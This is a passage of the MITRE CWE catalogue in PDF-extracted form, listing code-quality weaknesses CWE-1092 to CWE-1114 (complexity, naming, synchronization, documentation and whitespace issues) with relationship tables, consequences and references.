This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-15		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers

Weakness ID : 1092 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses the same control element across multiple architectural layers.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-10		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1093: Excessively Complex Data Representation

Weakness ID : 1093 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures.

Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	1645
ParentOf	B	1055	Multiple Inheritance from Concrete Classes	1657
ParentOf	B	1074	Class with Excessively Deep Inheritance	1675
ParentOf	B	1086	Class with Excessive Number of Child Classes	1686

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	
Other	Reduce Performance	

CWE-1094: Excessive Index Range Scan for a Data Resource

Weakness ID : 1094 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains an index range scan for a large data table, but the scan can cover a large number of rows.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	405	Asymmetric Resource Consumption (Amplification)	883

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-7		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1095: Loop Condition Value Update within the Loop

Weakness ID : 1095 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a loop with a control flow condition based on a value that is updated within the body of the loop.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-5		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization

Weakness ID : 1096 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

Extended Description

This issue can prevent the software from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1512

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-12		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element

Weakness ID : 1097 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.

Extended Description

For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined.

This issue can prevent the software from running reliably, due to incorrect or unexpected comparison results. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-4		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element

Weakness ID : 1098 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The code contains a data element with a pointer that does not have an associated copy or constructor method.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-6		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1099: Inconsistent Naming Conventions for Identifiers

Weakness ID : 1099 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements.

Extended Description

This issue makes it more difficult to understand and/or maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1100: Insufficient Isolation of System-Dependent Functions

Weakness ID : 1100 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product or code does not isolate system-dependent functionality into separate standalone modules.

Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1101: Reliance on Runtime Component in Generated Code

Weakness ID : 1101 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product uses automatically-generated code that cannot be executed without a specific runtime support component.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1102: Reliance on Machine-Dependent Data Representation

Weakness ID : 1102 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components.

Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
PeerOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1703

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1103: Use of Platform-Dependent Third Party Components

Weakness ID : 1103 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product relies on third-party software components that do not provide equivalent functionality across all desirable platforms.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1104: Use of Unmaintained Third Party Components

Weakness ID : 1104 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.

Extended Description

Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality

Weakness ID : 1105 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code.

Extended Description

This issue makes it more difficult to port or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1061	Insufficient Encapsulation	1663
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ParentOf	B	188	Reliance on Data/Memory Layout	435
PeerOf	B	1102	Reliance on Machine-Dependent Data Representation	1701

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1106: Insufficient Use of Symbolic Constants

Weakness ID : 1106 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1107: Insufficient Isolation of Symbolic Constant Definitions

Weakness ID : 1107 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1108: Excessive Reliance on Global Variables

Weakness ID : 1108 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURI >.

CWE-1109: Use of Same Variable for Multiple Purposes

Weakness ID : 1109 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data.

Extended Description

Use of the same variable for multiple purposes can make it more difficult for a person to read or understand the code, potentially hiding other quality issues.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURI >.

CWE-1110: Incomplete Design Documentation

Weakness ID : 1110 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1059	Incomplete Documentation	1661

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2017

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1111: Incomplete I/O Documentation

Weakness ID : 1111 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's documentation does not adequately define inputs, outputs, or system/software interfaces.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1059	Incomplete Documentation	1661

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2017

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1112: Incomplete Documentation of Program Execution

Weakness ID : 1112 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed.

Extended Description

This includes environmental variables, configuration files, registry keys, command-line switches or options, or system settings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1059	Incomplete Documentation	1661

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2017

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1113: Inappropriate Comment Style

Weakness ID : 1113 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product.

Extended Description

This issue makes it more difficult to maintain the software due to insufficient legibility, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1114: Inappropriate Whitespace Style

Weakness ID : 1114 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
